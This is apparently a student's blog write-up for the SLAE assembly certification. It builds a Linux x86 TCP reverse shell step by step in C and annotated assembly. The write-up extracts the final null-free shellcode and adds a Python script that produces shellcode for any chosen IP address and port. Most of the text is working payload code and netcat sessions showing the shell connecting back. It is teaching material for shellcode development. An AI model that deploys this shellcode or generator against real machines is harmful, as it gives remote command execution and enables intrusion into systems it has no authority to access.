This is the second assignment for the SLAE which is the Linux x86 TCP Reverse Shell. This one will actually be less complex than the bind shell as there are less things to do.. I break down the code pretty thoroughly in the bind shell write up, so this one won’t be as detailed due to a lot of the code being the same. You can check out the bind shell write up here.

To kick things off I’ve modified our existing bind shell C code to instead send a reverse shell. I also updated the dup2() portion to loop in the code to make things a bit cleaner.

#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>

int main()
{
	// Create the socket (man socket)
	// AF_INET for IPv4
	// SOCK_STREAM for TCP connection
	// 0 leaves it up to the service provider for protocol, which will be TCP 
	int host_sock = socket(AF_INET, SOCK_STREAM, 0);

	// Create sockaddr_in struct (man 7 ip)
	struct sockaddr_in host_addr;

	// AF_INET for IPv4
	host_addr.sin_family = AF_INET;
	
	// Set connect port number to 1234, set to network byte order by htons
	host_addr.sin_port = htons(1234);

	// IP to connect to, set to network byte order by inet_addr
	host_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
	
	// Connect socket (man connect)
	connect(host_sock, (struct sockaddr *)&host_addr, sizeof(host_addr));
		
	// Loop to redirect STDIN, STDOUT, and STDERR
	int i;
	for(i=0; i<=2; i++) 
		dup2(host_sock, i);
	
	// Execute /bin/sh (man execve)
	execve("/bin/sh", NULL, NULL);

}

Let’s quickly compile and test the code, starting a netcat listener to catch the shell.

absolomb@ubuntu:~/SLAE/assignments/2$ gcc reverseshell.c -o reverseshell
absolomb@ubuntu:~/SLAE/assignments/2$ ./reverseshell
absolomb@ubuntu:~$ nc -lvnp 1234
Listening on [0.0.0.0] (family 0, port 1234)
Connection from [127.0.0.1] port 1234 [tcp/*] accepted (family 2, sport 60270)
id
uid=1000(absolomb) gid=1000(absolomb) groups=1000(absolomb),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)

Now we can begin by breaking down the C code into basically four sections to help port to Assembly.

  • Creating a socket
  • Connecting to an IP and port
  • Redirecting STDIN, STDOUT, and STDERR
  • Executing the shell

As you can see there are less things to do this time around compared to the bind shell, so we should have less assembly to write.

Creating a Socket

We pretty much need to do exactly what we did for our bind shell code here, so I won’t go into details on finding syscall numbers from the Linux header files. Check the previous post for that.

This time around however we’ll be using some different instructions to get some of the same tasks done, and a little more efficiently.

Instead of XOR’ing registers to zero them out and then using MOV instructions we can instead PUSH the value we want in the register to the stack and POP it into the register after.

This allows us to setup our first two arguments for setting up the socket in EAX and EBX as follows.

push 0x66 		; 
pop eax			; socketcall (102) and clean eax
push 0x1		;
pop ebx			; SYS_SOCKET (1) and clean ebx

0x66 being the socketcall() syscall and 0x1 the SYS_SOCKET argument. This trick won’t work if we need 0’s in a register because of the nulls it creates, so for ECX we will simply XOR itself and push that value to the stack for the 0 we need.

The rest of the code should be familiar if you followed along in the bind shell write up.

xor ecx, ecx		; zero out ecx
push ecx		; protocol (0)
push ebx		; SOCK_STREAM (1)
push 0x2		; AF_INET (2)
mov ecx, esp		; point ecx to top of stack
int 0x80		; execute socket

mov edi, eax		; move socket to edi

Connect to an IP and Port

This will essentially be the same setup as bind() except we’ll be replacing the socketcall() argument from SYS_BIND to SYS_CONNECT. Instead of specifying INADDRY_ANY we’ll need to specify a real IP address. For testing purposes this will be our loopback address. However there is a catch.

>>> import socket
>>> socket.inet_aton('127.0.0.1')
b'\x7f\x00\x00\x01'

As you can see our loopback address contains nulls in it, which will break our shellcode. To work around this we can use the loopback address of 127.1.1.1.

>>> socket.inet_aton('127.1.1.1')
b'\x7f\x01\x01\x01'

Remember this address needs to be pushed in reverse, so our final hex for our IP address will be 0x0101017f. The rest of the instructions are essentially the same as the bind shell code.

mov al, 0x66		; socketcall (102)
pop ebx			; (2)
push 0x0101017f		; s_addr = 127.1.1.1 
push word 0xd204	; sin_port = 1234
push bx			; AF_INET (2)
mov ecx, esp		; point ecx to top of stack
push 0x10		; sizeof(host_addr)
push ecx		; pointer to host_addr struct
push edi		; socketfd
mov ecx, esp		; point ecx to top of stack 
inc ebx			; SYS_CONNECT (3)
int 0x80		; execute connect

Redirect STDIN, STDOUT, STDERR

Again we’ll need to redirect STDIN, STDOUT, and STDERR. We’ll once again utilize a loop to accomplish this, the only difference here is the utilization of the PUSH and POP technique to get the desired counter value in ECX.

	xchg ebx, edi           ; move socketfd into ebx for dup2
	push 0x2
	pop ecx			; zero out ecx
	
loop:
	mov al, 0x3f		; dup2 (63)
	int 0x80		; exec dup2
	dec ecx			; decrement counter
	jns loop		; jump until SF is set

Executing a Shell

No changes here, it’s exactly the same process as before with the bind shell.

xor edx, edx		; zero out edx
push edx		; NULL
push 0x68732f2f		; "hs//"
push 0x6e69622f 	; "nib/"
mov ebx, esp		; point ebx to stack
mov ecx, edx		; NULL
mov al, 0xb		; execve
int 0x80		; execute execve

Final Assembly Code

global _start

section .text
_start:

	
	; Create the socket

	push 0x66 		; 
	pop eax			; socketcall (102) and clean eax
	push 0x1		;
	pop ebx			; SYS_SOCKET (1) and clean ebx
	xor ecx, ecx		; zero out ecx
	push ecx		; protocol (0)
	push ebx		; SOCK_STREAM (1)
	push 0x2		; AF_INET (2)
	mov ecx, esp		; point ecx to top of stack
	int 0x80		; execute socket

	mov edi, eax		; move socket to edi


	; Connect to an IP and port

	
	mov al, 0x66		; socketcall (102)
	pop ebx			; (2)
	push 0x0101017f		; s_addr = 127.1.1.1 
	push word 0xd204	; sin_port = 1234
	push bx			; AF_INET (2)
	mov ecx, esp		; point ecx to top of stack
	push 0x10		; sizeof(host_addr)
	push ecx		; pointer to host_addr struct
	push edi		; socketfd
	mov ecx, esp		; point ecx to top of stack 
	inc ebx			; SYS_CONNECT (3)
	int 0x80		; execute connect
	

	; Redirect STDIN, STDERR, STDOUT

	xchg ebx, edi           ; move socketfd into ebx for dup2
	push 0x2
	pop ecx			; zero out ecx
	
loop:
	mov al, 0x3f		; dup2 (63)
	int 0x80		; exec dup2
	dec ecx			; decrement counter
	jns loop		; jump until SF is set

	; Execute /bin/sh
	
	xor edx, edx		; zero out edx
	push edx		; NULL
	push 0x68732f2f		; "hs//"
	push 0x6e69622f 	; "nib/"
	mov ebx, esp		; point ebx to stack
	mov ecx, edx		; NULL
	mov al, 0xb		; execve
	int 0x80		; execute execve

Testing the Code

We’ll quickly compile and test execution, catching the shell with a netcat listener.

absolomb@ubuntu:~/SLAE/assignments/2$ ./compile.sh reverse_shell
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
absolomb@ubuntu:~/SLAE/assignments/2$ ./reverse_shell
absolomb@ubuntu:~/SLAE/assignments/2$ nc -lvnp 1234
Listening on [0.0.0.0] (family 0, port 1234)
Connection from [127.0.0.1] port 1234 [tcp/*] accepted (family 2, sport 34028)
id
uid=1000(absolomb) gid=1000(absolomb) groups=1000(absolomb),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)

Success!

Now to extract the shellcode with objdump.

absolomb@ubuntu:~/SLAE/assignments/2$ for i in $(objdump -d reverse_shell |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo
\x6a\x66\x58\x6a\x01\x5b\x31\xc9\x51\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc7\xb0\x66\x5b\x68\x7f\x01\x01\x01\x66\x68\x04\xd2\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\x43\xcd\x80\x87\xdf\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80

We can put our shellcode in our simple C wrapper program, compile without stack protection, and execute and catch the shell with netcat.

absolomb@ubuntu:~/SLAE/assignments/2$ vim shellcode.c 
absolomb@ubuntu:~/SLAE/assignments/2$ gcc shellcode.c -o shellcode -fno-stack-protector -z execstackabsolomb@ubuntu:~/SLAE/assignments/2$ ./shellcode
Shellcode Length:  76
absolomb@ubuntu:~/SLAE/assignments/2$ nc -lvnp 1234
Listening on [0.0.0.0] (family 0, port 1234)
Connection from [127.0.0.1] port 1234 [tcp/*] accepted (family 2, sport 34030)
id
uid=1000(absolomb) gid=1000(absolomb) groups=1000(absolomb),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)

Python Script for Configurable IP and Port

To make the IP address and port configurable some additions were made to the existing bind python script for the IP address.

#!/usr/bin/env python3
import sys
import struct
import socket
import argparse

parser = argparse.ArgumentParser()
parser.add_argument("-i", "--ip")
parser.add_argument('-p', "--port")
args = parser.parse_args()


if (args.ip == None) or (args.port == None):
    parser.print_help()
    parser.exit()

port = int(args.port)
ip = args.ip

if port > 65535:
    print("Please enter a valid port number!")
    exit()

if port < 1024:
    print("You'll need to be root to use this port!")


port = struct.pack("!H", port)
port = ("{}".format(''.join('\\x{:02x}'.format(b) for b in port)))

ip = socket.inet_aton(ip)
ip = str(ip).lstrip("b'")
ip = ip.rstrip("'")

if "\\x00" in ip:
    print(" Nulls in selected IP address!")
    exit()
if "\\x00" in port:
    print(" Nulls in selected port!")
    exit() 

shellcode = """
\\x6a\\x66\\x58\\x6a\\x01\\x5b\\x31\\xc9
\\x51\\x53\\x6a\\x02\\x89\\xe1\\xcd\\x80
\\x89\\xc7\\xb0\\x66\\x5b\\x68%s
\\x66\\x68%s
\\x66\\x53\\x89\\xe1\\x6a\\x10\\x51\\x57
\\x89\\xe1\\x43\\xcd\\x80\\x87\\xdf\\x6a
\\x02\\x59\\xb0\\x3f\\xcd\\x80\\x49\\x79
\\xf9\\x31\\xd2\\x52\\x68\\x2f\\x2f\\x73
\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3
\\x89\\xd1\\xb0\\x0b\\xcd\\x80
""" % (ip, port)

print ("Shellcode:")
print(shellcode.replace("\n", ""))

Now let’s test with a different IP address and Port.

absolomb@ubuntu:~/SLAE/assignments/2$ python3 reverse.py -i 192.168.1.10 -p 4444
Shellcode:
\x6a\x66\x58\x6a\x01\x5b\x31\xc9\x51\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc7\xb0\x66\x5b\x68\xc0\xa8\x01\n\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\x43\xcd\x80\x87\xdf\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80
absolomb@ubuntu:~/SLAE/assignments/2$ vim shellcode.c
absolomb@ubuntu:~/SLAE/assignments/2$ gcc shellcode.c -o shellcode -fno-stack-protector -z execstack
absolomb@ubuntu:~/SLAE/assignments/2$ ./shellcode
Shellcode Length:  76
absolomb@ubuntu:~$ nc -lvnp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [192.168.1.10] port 4444 [tcp/*] accepted (family 2, sport 34192)
id
uid=1000(absolomb) gid=1000(absolomb) groups=1000(absolomb),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)

Success! Note that you won’t be able to use certain IP addresses due to nulls, however the script will check and tell you.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1208

Github Repo: https://github.com/absolomb/SLAE